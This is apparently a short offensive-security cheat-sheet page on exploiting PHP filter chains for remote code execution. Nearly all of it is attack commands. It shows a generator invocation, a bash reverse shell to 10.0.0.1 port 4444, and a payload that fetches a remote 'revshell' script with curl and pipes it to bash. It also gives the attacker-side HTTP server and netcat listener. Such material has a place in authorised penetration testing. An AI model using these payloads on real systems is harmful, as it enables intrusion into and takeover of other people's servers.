PHP
PHP Filters Chain
Exploitation
python3 php_filter_chain_generator.py --chain '<?php phpinfo(); ?>'Reverse Shell
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1# `<?= ?>` is a shorthand for `<?php echo ~ ?>`
python3 php_filter_chain_generator.py --chain '<?= `curl -s -L 10.0.0.1/revshell|bash` ?>'# terminal 1
sudo python3 -m http.server 80
# terminal 2
nc -lvnp 4444References
RCE Function Check
Last updated